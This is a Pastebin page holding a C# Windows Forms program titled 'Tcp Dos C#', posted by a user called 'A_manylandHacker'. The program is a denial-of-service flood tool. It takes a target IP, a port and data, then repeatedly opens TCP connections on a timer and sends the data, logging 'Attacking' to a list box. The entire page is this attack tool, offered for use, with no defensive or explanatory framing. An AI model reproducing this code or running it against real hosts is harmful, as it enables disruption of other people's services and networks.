Advertisement
A_manylandHacker

Tcp Dos C#

Mar 31st, 2018
602
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.98 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using System.Net;
  11. using System.Net.Sockets;
  12. using System.IO;
  13. namespace WindowsFormsApp14
  14. {
  15.     public partial class Form1 : Form
  16.     {
  17.         public Form1()
  18.         {
  19.             InitializeComponent();
  20.         }
  21.         Socket client;
  22.         byte[] TcpPackets;
  23.         public void Flood()
  24.         {
  25.             try
  26.             {
  27.                 listBox1.Items.Add("Attacking" + " " + IP_Address.Text + " "+ "With Data");
  28.                 string IP = IP_Address.Text;
  29.                 string strport = Port.Text;
  30.                 int port;
  31.                 port = int.Parse(strport);
  32.                 TcpPackets = System.Text.ASCIIEncoding.ASCII.GetBytes(Data.Text);
  33.                 IPEndPoint EP = new IPEndPoint(IPAddress.Parse(IP), port);
  34.                 client = new Socket(EP.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
  35.                 client.Connect(EP);
  36.                 client.SendTo(TcpPackets, EP);
  37.             }
  38.             catch (Exception)
  39.             {
  40.                 MessageBox.Show("Enter A Valid IP/Port");
  41.             }
  42.         }
  43.         private void FloodTimer_Tick(object sender, EventArgs e)
  44.         {
  45.             Flood();
  46.         }
  47.  
  48.         private void StartFlood_Click(object sender, EventArgs e)
  49.         {
  50.             FloodTimer.Enabled = true;
  51.         }
  52.  
  53.         private void ClearTxt_Click(object sender, EventArgs e)
  54.         {
  55.             listBox1.Items.Clear();
  56.             IP_Address.Clear();
  57.             Port.Clear();
  58.             Data.Clear();
  59.         }
  60.  
  61.         private void StopFlood_Click(object sender, EventArgs e)
  62.         {
  63.             FloodTimer.Enabled = false;
  64.         }
  65.  
  66.         private void Button1_Click(object sender, EventArgs e)
  67.         {
  68.             TcpPackets.Clone();
  69.         }
  70.     }
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement